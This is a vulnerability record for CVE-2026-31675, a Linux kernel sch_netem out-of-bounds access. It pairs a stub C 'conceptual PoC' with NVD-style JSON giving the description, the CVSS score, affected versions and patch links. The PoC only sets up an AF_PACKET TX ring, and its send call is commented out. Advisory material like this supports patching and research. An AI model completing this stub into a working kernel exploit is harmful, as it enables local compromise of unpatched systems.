CVE-2026-31675

/* * Conceptual PoC for CVE-2026-31675 * Triggering the OOB access in sch_netem requires sending a fully * non-linear packet (skb_headlen == 0) over an IPIP tunnel. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <net/ethernet.h> #include <arpa/inet.h> #define FRAME_SIZE 1024 #define BLOCK_SIZE (FRAME_SIZE * 16) #define NUM_BLOCKS 64 void setup_tx_ring(int sockfd) { struct tpacket_req req; memset(&req, 0, sizeof(req)); req.tp_block_size = BLOCK_SIZE; req.tp_frame_size = FRAME_SIZE; req.tp_block_nr = NUM_BLOCKS; req.tp_frame_nr = (BLOCK_SIZE * NUM_BLOCKS) / FRAME_SIZE; if (setsockopt(sockfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0) { perror("setsockopt(TX_RING)"); exit(1); } } int main() { int sockfd; struct sockaddr_ll sa; // Create raw socket to construct non-linear packets sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("socket"); return 1; } setup_tx_ring(sockfd); memset(&sa, 0, sizeof(sa)); sa.sll_ifindex = if_nametoindex("eth0"); // Replace with actual interface sa.sll_protocol = htons(ETH_P_IP); printf("Sending crafted packet to trigger CVE-2026-31675...\n"); // In a real exploit, this would send a packet via IPIP tunnel // where the skb is fully non-linear (headlen=0). // sendto(sockfd, buffer, size, 0, (struct sockaddr*)&sa, sizeof(sa)); close(sockfd); return 0; }

{"cve": {"id": "CVE-2026-31675", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-25T09:16:01.100", "lastModified": "2026-05-06T21:33:21.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: sch_netem: fix out-of-bounds access in packet corruption\n\nIn netem_enqueue(), the packet corruption logic uses\nget_random_u32_below(skb_headlen(skb)) to select an index for\nmodifying skb->data. When an AF_PACKET TX_RING sends fully non-linear\npackets over an IPIP tunnel, skb_headlen(skb) evaluates to 0.\n\nPassing 0 to get_random_u32_below() takes the variable-ceil slow path\nwhich returns an unconstrained 32-bit random integer. Using this\nunconstrained value as an offset into skb->data results in an\nout-of-bounds memory access.\n\nFix this by verifying skb_headlen(skb) is non-zero before attempting\nto corrupt the linear data area. Fully non-linear packets will silently\nbypass the corruption logic."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.16", "versionEndExcluding": "6.6.134", "matchCriteriaId": "90B108FC-25D0-4DB9-9459-197836D737B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/13a66ca1e235d4bcd53d12d4c68490cad7f8e46f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3a2999704ac36cfb4041fed3652d26a3373e8d12", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4fd258e281fa8bc15e9ce2c7691941537e9258ad", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a14b56863348686dd0387eea8ce66b85cf455908", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d64cb81dcbd54927515a7f65e5e24affdc73c14b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}